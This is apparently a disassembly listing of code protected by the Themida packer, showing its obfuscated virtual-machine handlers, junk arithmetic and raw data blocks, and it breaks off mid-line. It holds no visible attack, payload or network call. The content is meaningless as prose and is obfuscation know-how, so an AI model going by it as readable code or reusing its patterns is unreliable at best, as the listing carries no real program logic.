0E6C16482h, 0AE05E907h dd 422DFFFFh, 29383310h, 104205F8h, 672D3833h, 0E9400808h dd 6FC4h, 5585450h, 4, 405h, 24048700h, 2E80E9h, 8F5800h dd 0FF4FA2E9h, 0FFC301FFh, 83582434h, 0C23104C4h, 9E71E9h dd 1B26BF00h, 0E95173C1h, 23ECh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_565C73 ; --------------------------------------------------------------------------- dword_55DC3C dd 833C77FFh, 48904ECh, 7CBCB824h, 69E9670Dh ; DATA XREF: Themida_:0055292Co db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DC4F: ; CODE XREF: Themida_:005667AAj mov ecx, eax pop eax mov ebx, ecx pop ecx mov ebp, [esp] jmp loc_566153 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 4EC81h, 5E90000h db 26h, 2 dup(0) byte_55DC6B db 81h ; DATA XREF: Themida_:00552A34o dd 4ECh, 24148900h, 0FF83CEE9h, 4B8FFh, 0ED810000h, 6FB15819h dd 7185E9h db 0 ; --------------------------------------------------------------------------- loc_55DC89: ; CODE XREF: Themida_:00562CE5j mov eax, esp add eax, 4 jmp loc_5568FF ; --------------------------------------------------------------------------- db 68h, 1, 2Eh dd 34890000h, 1BBF5724h, 890E0504h, 0CE815FFEh, 1C5B1696h dd 61EE814Eh, 21EE5002h, 24348BF7h, 4C481h, 0B8500000h dd 4EE42947h, 5C35D0F7h, 14EE93Dh, 0E95158C7h, 2A28h, 815D5455h dd 4C5h, 4C58300h, 8B242C87h, 0C4812424h, 4, 2C381h, 1C870000h dd 24248B24h, 0FFDD85E9h, 3BE381FFh, 81116A6Ch, 8B232DF3h dd 0D3F74346h, 98F5EB81h, 0D901A91Ch, 240C335Bh, 53F3E9h dd 85CE8100h, 5165F103h, 0FF5C90E9h, 76C181FFh, 0C1083178h dd 0C18102E9h, 4947E371h, 8159CD01h, 7E1060C5h, 246C010Dh dd 242C8B08h, 5923E9h, 3EBC100h, 3A9DF381h, 53517BF0h dd 67242C81h, 8B141A23h, 0C481240Ch, 4, 2367C181h, 0D668141Ah dd 0E9000013h, 83B8h, 52C680h, 52EE80EEh, 63B45059h, 923CE9h db 0 byte_55DD89 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552A8Co dd 592434FFh, 0CB12E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD96: ; CODE XREF: Themida_:00559BA2j mov [esp], edx push eax pushf jmp loc_552BBB ; --------------------------------------------------------------------------- loc_55DDA0: ; CODE XREF: Themida_:005649A5j mov bl, 2Ah sub bl, 29h jmp loc_5572DB ; --------------------------------------------------------------------------- dw 0F068h dd 8900007Fh, 0E189240Ch, 4C181h, 0BF570000h, 62BA69E2h dd 4707E7C1h, 0F105F781h, 0E9815D34h, 920023Fh, 0C181F901h dd 920023Fh, 240C335Fh, 0E9240C31h, 4130h ; --------------------------------------------------------------------------- loc_55DDE4: ; CODE XREF: Themida_:0055DE3Bj mov cl, 7Ah push bx mov bl, al mov al, cl push eax mov ah, bl mov cl, ah mov eax, [esp] sub esp, 4 jmp loc_55A22B ; --------------------------------------------------------------------------- db 0BDh dd 4, 875DEE01h, 248B2434h, 85D3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE12: ; CODE XREF: Themida_:00559D4Fj pop ebx add edx, 5C30AD87h mov esi, edx jmp loc_563F79 ; --------------------------------------------------------------------------- dd 1E8EBF57h, 0FE21529Dh, 0D9F6815Fh, 8131E15Dh, 7E2F6h dd 0ACF6E96Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE3A: ; CODE XREF: Themida_:00557B7Ej push ecx jmp loc_55DDE4 ; --------------------------------------------------------------------------- loc_55DE40: ; CODE XREF: Themida_:005682A8j sub eax, 401EED56h add esi, eax mov eax, [esp] add esp, 4 jmp loc_55EB56 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1830000h, 240C8704h, 1C47215Ch, 1C2E9h, 4EC8100h dd 0E9000000h, 5FBAh, 815FFD89h, 192489F5h, 8EDC166h, 55CE9h db 0 ; --------------------------------------------------------------------------- loc_55DE89: ; CODE XREF: Themida_:00558BCDj add dl, al pop eax jmp loc_5588DC ; --------------------------------------------------------------------------- loc_55DE91: ; CODE XREF: Themida_:0055B198j movzx eax, al jmp loc_567A87 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FF5A8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DEA1: ; CODE XREF: Themida_:005552FDj push dword ptr [esp] pop eax push edi mov edi, esp push esi mov esi, 4 jmp loc_558936 ; --------------------------------------------------------------------------- db 0F7h dd 7EC681D6h, 21FEAF43h, 0CC32E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DEC2: ; CODE XREF: Themida_:00560C73j sub esi, 1A45787Bh push esi push ebp pop esi mov ebp, [esp] add esp, 4 not ebp push esi push ebp pop esi pop ebp xor esi, 179305B9h add edi, 42754C1Bh add edi, esi sub edi, 42754C1Bh jmp loc_55D49E ; --------------------------------------------------------------------------- db 50h dd 0BF57E089h, 1A5271D0h, 0D5F78147h, 2D1A5271h, 6E561AD3h dd 0B951F801h, 6E561AD3h, 0A2E9C801h, 31FFFF68h, 0C33240Ch dd 1C895C24h, 0FDB95124h, 0C179466Bh, 0D9F705E9h, 4908E1C1h dd 77F8E949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF36: ; CODE XREF: Themida_:0055745Fj dec esi xor esi, 6436CADh jmp loc_55AD3B ; --------------------------------------------------------------------------- dw 0B951h dd 4, 0FFB3ADE9h, 4EC83FFh, 89241C89h, 4C381E3h, 0E9000000h dd 0FFFF8ABEh, 2444815Bh, 1E692608h, 2474015Dh, 246C8108h dd 1E692608h, 24348B5Dh, 4C481h, 148B0000h, 4C48324h, 0E9240401h dd 0FFFFB49Ah, 0A5541068h, 2434FF74h, 0FF537EE9h, 6C815EFFh dd 6BAF0424h, 54291256h, 0B8500424h, 12566BAFh, 8244401h dd 0FF9F65E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DFB5: ; CODE XREF: Themida_:00555FAFj mov esp, [esp] or eax, eax jmp loc_5668CF ; --------------------------------------------------------------------------- loc_55DFBF: ; CODE XREF: Themida_:0056750Dj mov [esp], esi push 20C158BFh pop esi add edx, esi mov esi, [esp] push eax mov eax, esp push esi mov esi, 1B5960DDh add esi, 436374E1h not esi and esi, 36CC3A61h xor esi, 20402A45h add eax, esi pop esi push edx jmp loc_565343 ; --------------------------------------------------------------------------- loc_55DFF3: ; CODE XREF: Themida_:00561589j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push 7A65h mov [esp], eax mov eax, 4 sub esi, eax pop eax xchg esi, [esp] pop esp jmp loc_553E8A ; --------------------------------------------------------------------------- db 8Bh dd 0EC832404h, 24048904h, 5F36E9h, 4C48100h, 50000000h dd 0FFD671E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E049: ; CODE XREF: Themida_:00567417j mov eax, 5E3D5443h xor eax, edi pop edi add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] pop esp or edx, eax jmp loc_557258 ; --------------------------------------------------------------------------- loc_55E064: ; CODE XREF: Themida_:005610B9j dec esi jmp loc_55F063 ; --------------------------------------------------------------------------- word_55E06A dw 8B66h ; DATA XREF: Themida_:00552A24o dd 8957240Ch, 4C781E7h, 56000000h, 1E9E689h, 8B00007Dh dd 0C481241Ch, 4, 8124348Bh, 4C4h, 0AEB85000h, 485ECE43h dd 0E906E8C1h, 0FFFFF25Ch, 421468h, 0CF8AE900h, 0F781FFFFh dd 1BBF7314h, 0C466C781h, 0FA31D278h, 5AD0015Fh, 26853h dd 0D5E90000h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E0C7: ; CODE XREF: Themida_:00558E99j push esp pop ecx jmp loc_557CE3 ; --------------------------------------------------------------------------- loc_55E0CE: ; CODE XREF: Themida_:005656E1j shl esi, 4 and esi, 3C491852h jmp loc_560346 ; --------------------------------------------------------------------------- loc_55E0DC: ; CODE XREF: Themida_:00567A25j push ebp mov ebp, 42E84D77h add edi, ebp pop ebp jmp loc_55372F ; --------------------------------------------------------------------------- dw 405h dd 68000000h, 4F31h, 0FFC643E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E0F9: ; CODE XREF: Themida_:005619EFj mov esp, [esp] jmp loc_55744D ; --------------------------------------------------------------------------- db 5Dh, 0FFh, 34h aPirsP db '$^P┴ЮИсP',0 align 2 dw 0E7C1h dd 7FC78103h, 564E5A6Bh, 0FFA49EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E11D: ; CODE XREF: Themida_:005613DAj pop edi push 7E9Ch jmp loc_55BAB0 ; --------------------------------------------------------------------------- loc_55E128: ; CODE XREF: Themida_:0056426Aj pop ecx sub ebx, 68DD3119h add ebx, edi add ebx, 68DD3119h push edx jmp loc_559416 ; --------------------------------------------------------------------------- loc_55E13D: ; CODE XREF: Themida_:00557514j add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_552BBB ; --------------------------------------------------------------------------- loc_55E155: ; CODE XREF: Themida_:00561A93j add esp, 4 jmp loc_554C7A ; --------------------------------------------------------------------------- aVsfi db 'VИf┴',0 db 0 ; --------------------------------------------------------------------------- loc_55E163: ; CODE XREF: Themida_:00567C48j add ecx, eax add ecx, 57011366h add ecx, 4636136Fh pop eax push esi mov esi, 25911F52h not esi or esi, 764E6952h sub esi, 582C0861h push ebx mov ebx, 69160B2Ch or ebx, 30D169CFh inc ebx add ebx, 0EBE7CF5Fh jmp loc_5665C0 ; --------------------------------------------------------------------------- loc_55E19E: ; CODE XREF: Themida_:005624F7j mov eax, [esp] push esi mov esi, esp add esi, 4 push edx jmp loc_55432A ; --------------------------------------------------------------------------- loc_55E1B0: ; CODE XREF: Themida_:0055CAC0j push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_56256A ; --------------------------------------------------------------------------- dw 0D6F7h dd 98F68146h, 0E966C561h, 0FFFF7171h ; --------------------------------------------------------------------------- loc_55E1CC: ; CODE XREF: Themida_:0055ACF6j mov ecx, 509F31C7h jmp loc_55F0EE ; --------------------------------------------------------------------------- loc_55E1D6: ; CODE XREF: Themida_:0055C131j not esi add esi, 8FB7EB8Eh sub edi, esi pop esi sub eax, 2D7940CFh push edx jmp loc_5565A4 ; --------------------------------------------------------------------------- loc_55E1EC: ; CODE XREF: Themida_:0055AF92j add esi, 4 xchg esi, [esp] mov esp, [esp] and eax, ebx push dword ptr [esp] jmp loc_55AA8A ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8100h, 0E9000000h, 24F6h, 5A1C5721h, 0FF49A2E9h dd 0D5CF81FFh, 5523B606h, 0B9726ABDh, 0E9515563h, 0FFFFC8F2h ; --------------------------------------------------------------------------- loc_55E22C: ; CODE XREF: Themida_:0055FB88j jz loc_55BF03 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_5596B7 ; --------------------------------------------------------------------------- loc_55E23D: ; CODE XREF: Themida_:00553682j mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp jmp loc_5642FE ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 2BD24h, 0E8010000h, 2404335Dh, 0E9240431h dd 897Ch, 0DD34B32Dh, 316D2D2Eh, 0C701FDE9h, 0E9FA8958h dd 229Ch, 6697C380h, 0E924148Bh, 33CFh, 11E9EE01h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E28F: ; CODE XREF: Themida_:0056481Dj or ebp, ecx pop ecx jmp loc_55AC5C ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 0A968240Ch, 8900000Dh, 0E9542414h, 79A4h ; --------------------------------------------------------------------------- loc_55E2AC: ; CODE XREF: Themida_:0056682Fj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_556B39 ; --------------------------------------------------------------------------- dw 34FFh dd 7E31E924h, 0C281FFFFh, 6269E2A0h, 78FAE9h, 0C3B05000h dd 9B89E9h db 0 ; --------------------------------------------------------------------------- loc_55E2ED: ; CODE XREF: Themida_:00556DB0j add dword ptr [esp+8], 3CF23D5Eh add dword ptr [esp+8], 393622DCh jmp loc_55B319 ; --------------------------------------------------------------------------- word_55E302 dw 53ADh ; DATA XREF: Themida_:005528E4o dd 0C381E389h, 4, 0FF677BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E311: ; CODE XREF: Themida_:0056722Bj push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5634D2 ; --------------------------------------------------------------------------- dd 4BEh, 7C86E900h, 8166FFFFh, 665228EDh, 6603EDC1h, 6601ED83h dd 0ADBE6656h, 0F5016609h, 24348B66h, 6802C483h, 4450h dd 66240489h, 66559AB8h, 6658D368h, 66240489h, 66240487h dd 7E28E950h, 0C7810000h, 4, 5C243C87h, 67F5B850h, 5CE90281h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E37F: ; CODE XREF: Themida_:00559734j add esp, 4 add ebx, ebp pop ebp push ebp jmp loc_55FCBD ; --------------------------------------------------------------------------- loc_55E38B: ; CODE XREF: Themida_:0055C2D8j mov esi, 4 push edi mov edi, 364B46DAh not edi shl edi, 6 shr edi, 8 push ebx mov ebx, 68870000h and edi, ebx pop ebx neg edi xor edi, 8E9E3C60h sub edx, edi jmp loc_55586D ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 156Fh, 81E68956h, 4C6h, 4EE8300h, 5C243487h dd 0E9240489h, 0FFFFF8A1h, 245C015Fh, 241C8B04h, 0FF7058E9h dd 4E5C1FFh, 8104EDC1h, 70584EF5h, 3BE9562Bh, 83000053h dd 9DE904ECh db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3FF: ; CODE XREF: Themida_:0055EECCj add esi, 5A601C65h jmp loc_563638 ; --------------------------------------------------------------------------- dw 0E7C1h dd 81D7F704h, 0A4E6F3EFh, 2D17E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E41A: ; CODE XREF: Themida_:0056390Bj push ebx mov ebx, 1D9B45Eh sub esi, ebx pop ebx sub edi, 5FD010B4h sub edi, esi add edi, 5FD010B4h mov esi, [esp] add esp, 4 jmp loc_554CC7 ; --------------------------------------------------------------------------- db 1 dd 242C8BE8h, 3304C483h, 4312404h, 24043324h, 5624248Bh dd 33C68h, 243C8900h, 0E0753168h, 2434FF5Fh, 0E689565Fh dd 0CFB6E955h, 0C701FFFFh, 4B85058h, 0E9000000h, 0FFFF634Bh ; --------------------------------------------------------------------------- loc_55E47C: ; CODE XREF: Themida_:0055C493j mov [esp], ebp mov ebp, 984208Bh jmp loc_564D07 ; --------------------------------------------------------------------------- loc_55E489: ; CODE XREF: Themida_:00558941j push edi mov edi, 230F50B3h jmp loc_557051 ; --------------------------------------------------------------------------- loc_55E494: ; CODE XREF: Themida_:00568022j push dword ptr [esp] pop edi add esp, 4 mov esi, ebp pop ebp jmp loc_55940B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFD18EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E4B1: ; CODE XREF: Themida_:00553D86j add ecx, 4 jmp loc_55EFDA ; --------------------------------------------------------------------------- dd 0EAC1D2F7h, 4CF28102h, 893F3D1Ah, 0C9E95AD1h, 1FFFF96h dd 5E042474h, 0E9241C29h, 3682h, 524D68h, 24248900h, 0FF7EC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E4E9: ; CODE XREF: Themida_:005554B1j push 34h jmp loc_55F717 ; --------------------------------------------------------------------------- db 5Ch dd 0FFB405E9h, 8BCA01FFh, 0C483240Ch, 24148704h, 944AE95Ch dd 5959FFFFh, 64C5E9h, 243C8A00h, 0E904C483h, 0FFFF7CACh dd 5C241C87h, 0BE243489h, 4B9A0B37h, 15EF001h, 5E955E8h dd 0D1FFFFE5h, 0B6CE81E6h, 8332EB02h, 5DE901C6h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E543: ; CODE XREF: Themida_:0055F6FFj mov ecx, [esp] jmp loc_5621DA ; --------------------------------------------------------------------------- db 0F3h dd 386203A5h, 436AE9h, 1BBB5300h, 52195236h, 52361FBAh dd 5AD33119h, 6B50E981h, 0D90134D1h, 0FFAE2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E571: ; CODE XREF: Themida_:0055D628j not ebp inc ebp xor ebp, 1ABA2229h jmp loc_55D733 ; --------------------------------------------------------------------------- aFw db 'FW©ф',0 dd 0FE29C0B6h, 0FB0E9h, 84E95C00h, 66000084h, 0E924048Bh dd 55A6h, 3024248Bh, 0C0B60FC3h, 0E98734FFh, 0FFFF460Fh dd 0BE685954h, 89000054h, 0E9522404h, 0FFFF5B8Eh ; --------------------------------------------------------------------------- loc_55E5BC: ; CODE XREF: Themida_:0055FD0Cj push eax jmp loc_55E722 ; --------------------------------------------------------------------------- dw 0D8F7h dd 0C4057B0Dh, 2E0C118h, 0A0CEE935h, 8BC101D5h, 0E9532404h dd 4517h, 22DD68h, 24148900h, 0BF575A54h, 4, 0E95FFA01h dd 3D2Ch, 442FBF5Dh, 0EF296EE5h, 8B58575Dh, 0C481243Ch dd 4, 71FEA81h, 0C2017188h, 3D2DE9h db 0 ; --------------------------------------------------------------------------- loc_55E615: ; CODE XREF: Themida_:0055D190j sub edx, eax add edx, 650F34E3h sub esp, 4 mov [esp], ebp mov ebp, 555D1E92h push ebp jmp loc_566585 ; --------------------------------------------------------------------------- loc_55E62E: ; CODE XREF: Themida_:00557CBAj or eax, eax jz loc_557C12 sub esp, 4 mov [esp], ebx push ebp push 461648C2h pop ebp push edx jmp loc_5548F8 ; --------------------------------------------------------------------------- loc_55E649: ; CODE XREF: Themida_:005679EEj add [esp+4], eax add dword ptr [esp+4], 3A23A7Ch jmp loc_554A19 ; --------------------------------------------------------------------------- dw 0F681h dd 58461231h, 15EF001h, 6D722DD8h, 712D5B12h, 687B9305h dd 0A8h, 0E9241C89h, 8300h ; --------------------------------------------------------------------------- loc_55E67C: ; CODE XREF: Themida_:0056727Dj add esp, 4 sub bl, 65h jmp loc_55546E ; --------------------------------------------------------------------------- dw 0E381h dd 56236EB9h, 22C3814Bh, 0E91AFD61h, 0FFFFA45Dh, 0E95AD501h dd 0FFFFF499h ; --------------------------------------------------------------------------- loc_55E6A4: ; CODE XREF: Themida_:005534BFj add esp, 4 add esp, 4 add ebp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] mov ax, [esp] push edi push esp pop edi add edi, 4 sub esp, 4 mov [esp], edx push 2 jmp loc_563215 ; --------------------------------------------------------------------------- loc_55E6DF: ; CODE XREF: Themida_:0055B30Cj sub edx, edi pop edi sub ebp, edx pop edx push ebx mov ebx, 5CCE3315h add ecx, ebx jmp loc_5634B9 ; --------------------------------------------------------------------------- dw 0E981h dd 68AD0FB1h, 0C181D901h, 68AD0FB1h, 240C335Bh, 1CC0E9h dd 344F0500h, 0D02944E1h, 68D2E9h, 242C8900h, 4BDh, 7B6AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E722: ; CODE XREF: Themida_:0055E5BDj mov ah, 0A7h sub ah, 0Bh and dl, ah pop eax sub esp, 2 mov [esp], bx push ecx jmp loc_554A45 ; --------------------------------------------------------------------------- dw 1431h dd 5355E924h, 0BA52FFFFh, 67C0767Ah, 0E95AD721h, 4DDBh ; --------------------------------------------------------------------------- loc_55E750: ; CODE XREF: Themida_:00560674j add edx, 4 xchg edx, [esp] mov esp, [esp] add edi, esi pop esi jmp loc_560A60 ; --------------------------------------------------------------------------- db 0B4h, 1Ah, 80h dd 0D4F68EF4h, 6E16866h, 24048966h, 12444FEh, 0EC835866h dd 1D65E902h, 15A0000h, 215DE9E9h, 74FF0000h, 0BFE90424h dd 81000096h, 9D6DD1EEh, 2EEC167h, 3BD5CE81h, 554E0F14h dd 0FF7C9DE9h, 241C89FFh, 561F68h, 240C8900h, 0FF8475E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E7B5: ; CODE XREF: Themida_:0055D17Bj push 0A8F5D0Eh mov eax, [esp] add esp, 4 jmp loc_566DF1 ; --------------------------------------------------------------------------- dd 48BC501h, 4C48324h, 2C581h, 0AFE90000h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E7DB: ; CODE XREF: Themida_:00553EA0j mov ebp, edx jmp loc_55AFD4 ; --------------------------------------------------------------------------- loc_55E7E2: ; CODE XREF: Themida_:00561C79j mov ebp, 1ABA222Eh dec ebp jmp loc_55D625 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4C68300h, 5C243487h, 0FFBBE3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E801: ; CODE XREF: Themida_:0055D40Ej add esp, 4 add esp, 4 retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF43ABh, 5D2414F7h, 5504E5C1h, 5D2414F7h, 0FCED8145h dd 12056A6h, 51535DEEh, 0EB76D0B9h, 76D4BB11h, 0CB3111EBh dd 6CFEE959h, 0C3810000h, 9FBF747Bh, 612EE9h, 8E9C100h dd 4005F181h, 0CF010000h, 74FF5759h, 8F5F0424h, 885C2404h dd 0FF01876Ch, 0E9592434h, 0FFFF8F05h, 915250BFh, 5FFB293Bh dd 0BF57C301h, 3B915250h, 0E95FFB01h, 0FFFF4870h ; --------------------------------------------------------------------------- loc_55E880: ; CODE XREF: Themida_:0055F42Ej add eax, ebp add eax, 1C3726BEh push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edx push 564Ah mov [esp], esi mov esi, esp jmp loc_559EA0 ; --------------------------------------------------------------------------- dd 5533C281h, 0D789EA96h, 1E1DE9h, 242C8B00h, 4C481h, 48F0000h dd 8B665C24h, 0F682404h, 8900004Fh, 0FF68242Ch, 89000020h dd 0EC832424h, 241C8904h, 150CBF57h, 0BE5640F5h, 6BF937D4h dd 7446E9h db 0 ; --------------------------------------------------------------------------- loc_55E8E5: ; CODE XREF: Themida_:00558F48j push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_55F649 ; --------------------------------------------------------------------------- loc_55E8F1: ; CODE XREF: Themida_:0055A827j mov esi, 4 push ecx jmp loc_5530B9 ; --------------------------------------------------------------------------- loc_55E8FC: ; CODE XREF: Themida_:0055B814j pop edx sub esp, 4 mov [esp], edx push 570Ch mov [esp], esp push 1490h mov [esp], edi sub esp, 4 jmp loc_56287E ; --------------------------------------------------------------------------- db 0E9h, 95h, 42h dd 3487FFFFh, 24248B24h, 400468h, 0BCC5E900h, 0F580FFFFh dd 66EC309Eh, 0D0B65259h, 2DBCE9h, 24048700h, 0FF79F2E9h dd 86DEF6FFh, 66C8FEF0h, 0E9B2B753h, 0FFFFA348h ; --------------------------------------------------------------------------- loc_55E95C: ; CODE XREF: Themida_:00560557j mov dx, [esp] add esp, 2 xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dword_55E970 dd 24048B66h, 20DA68h, 24048900h, 8BE95854h ; DATA XREF: Themida_:005528D8o db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E983: ; CODE XREF: Themida_:00564827j mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_553CB0 ; --------------------------------------------------------------------------- dw 45B9h dd 0E919600Ch, 0FFFF6D4Ch, 5DE9E929h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E9AB: ; CODE XREF: Themida_:0055A56Fj push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 push esi mov esi, 4 add ebp, esi push dword ptr [esp] pop esi add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_55D67B ; --------------------------------------------------------------------------- loc_55E9EA: ; CODE XREF: Themida_:00554C9Dj mov eax, 20476BDBh add ebx, eax jmp loc_56383F ; --------------------------------------------------------------------------- loc_55E9F6: ; CODE XREF: Themida_:00559DEAj add [esp+8], ebx pop ebx jmp loc_560B01 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 0C6815900h, 2E772954h, 13E9D601h, 81000087h dd 0FF10BEF3h, 87C8E95Bh db 2 dup(0FFh) word_55EA22 dw 77FFh ; DATA XREF: Themida_:005529CCo dd 58669D1Ch, 9C240410h, 0FF418AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA31: ; CODE XREF: Themida_:00559BF8j add edi, 78AE3011h sub edi, 475A36F8h sub edi, esi jmp loc_560628 ; --------------------------------------------------------------------------- dword_55EA44 dd 4EC81ACh, 89000000h, 0A6B22414h, 0C007E2C0h, 6EE905EAh ; DATA XREF: Themida_:005528FCo dd 1FFFF65h, 52505AD6h, 0F19ACBAh, 4538E934h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EA6A: ; CODE XREF: Themida_:0055B075j xchg edi, [esp] jmp loc_55C6BE ; --------------------------------------------------------------------------- dw 0FA00h dd 0FFD4B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA79: ; CODE XREF: Themida_:00561E47j xor [esp], eax xor eax, [esp] mov esp, [esp] add eax, esi mov esi, [esp] jmp loc_5605A3 ; --------------------------------------------------------------------------- dd 5FFA295Eh, 61AEE95Eh, 0B8500000h, 0FA268EBh, 0F706E0C1h dd 3E8C1D8h, 0EF812735h, 0E9C70175h, 4A02h ; --------------------------------------------------------------------------- loc_55EAB0: ; CODE XREF: Themida_:0055793Aj and edx, 3AE365C2h xchg ebp, edx jmp loc_561422 ; --------------------------------------------------------------------------- loc_55EABD: ; CODE XREF: Themida_:00567AF4j xchg edi, [esp] jmp loc_5580E0 ; --------------------------------------------------------------------------- db 57h, 0BFh, 2 dd 0E9000000h, 0FFFF60DFh, 4C4835Dh, 1BAB68h, 240C8900h dd 6E3868h, 3D4E900h, 0E3890000h, 4087BF57h, 0DFF72F53h dd 0BF75EF81h, 0BBE9D0ACh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAFB: ; CODE XREF: Themida_:00566BC6j mov [esp], ebx jmp loc_559C62 ; --------------------------------------------------------------------------- db 29h dd 33E951C3h, 52FFFF80h, 1D70E9h db 0 ; --------------------------------------------------------------------------- loc_55EB11: ; CODE XREF: Themida_:005531F1j pop esi sub ebp, 4 jmp loc_5662F6 ; --------------------------------------------------------------------------- dw 3487h dd 1F25E924h, 0C4810000h, 4, 0FFE620E9h, 0FFEB80FFh, 0F380D3F6h dd 5BDE30A8h, 0FFEBCFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB3D: ; CODE XREF: Themida_:00556E79j and bh, 0F2h add bh, 0E2h add al, bh pop ebx jmp loc_5643FA ; --------------------------------------------------------------------------- db 81h dd 107954C3h, 3863E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB56: ; CODE XREF: Themida_:0055DE50j sub eax, esi pop esi push 4AD7h jmp loc_55C34B ; --------------------------------------------------------------------------- db 89h dd 243C8BF8h, 4C481h, 0C5310000h, 5DE80158h, 2BD55h, 0E8010000h dd 2404875Dh, 0FF58A6E9h, 243C87FFh, 95FCE95Ch, 0B7530000h dd 3FCF80D2h, 0E903F780h, 6FF7h, 883DE435h, 0A923053Eh dd 0C6896FCFh, 8324048Bh, 0EE8104C4h, 37A45ABBh, 4EC8346h dd 68241489h, 0AD8h, 0BF243C89h, 6397ADFh, 4A00BA52h, 1D681E15h dd 89000011h, 38E9242Ch, 0BEFFFFE8h, 4ADC177Dh, 5FDEF681h dd 0CE81493Eh, 14E95B77h, 0FFF98EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EBF1: ; CODE XREF: Themida_:0055A74Aj pop ebx push ebp jmp loc_556967 ; --------------------------------------------------------------------------- dd 5BDE0158h, 1F16E9h, 0CDE98100h, 0E9EE3B46h, 0FFFF8042h dd 33240431h, 248B2404h, 4896624h, 59F3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC1E: ; CODE XREF: Themida_:0056301Fj pop esp jmp loc_55B062 ; --------------------------------------------------------------------------- dword_55EC24 dd 9D1C77FFh, 1CD35966h, 88E99C24h, 53FFFF3Fh, 9618E9h ; DATA XREF: Themida_:0055297Co db 0 ; --------------------------------------------------------------------------- loc_55EC39: ; CODE XREF: Themida_:0055615Fj pop edx jmp loc_559432 ; --------------------------------------------------------------------------- loc_55EC3F: ; CODE XREF: Themida_:00555B1Aj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_553F3C ; --------------------------------------------------------------------------- db 89h dd 0D6295EF2h, 2434875Ah, 2424895Ch, 4240481h, 8B000000h dd 0C4832434h, 4C68104h, 83000000h, 0FF5604C6h, 5E042474h dd 0FFDE8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EC79: ; CODE XREF: Themida_:005593D4j push eax mov eax, 2D674D3Eh dec eax sub eax, 9DA8B29Fh jmp loc_55B653 ; --------------------------------------------------------------------------- dw 0BA52h dd 183537C6h, 0FFBD05E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EC95: ; CODE XREF: Themida_:00564042j sub al, cl add al, 33h jmp loc_55FBFB ; --------------------------------------------------------------------------- dw 0C435h dd 40305413h, 2502E0C1h, 3E5B58BAh, 7604880Dh, 33BF5725h dd 0E97D731Ah, 23A8h ; --------------------------------------------------------------------------- loc_55ECBC: ; CODE XREF: 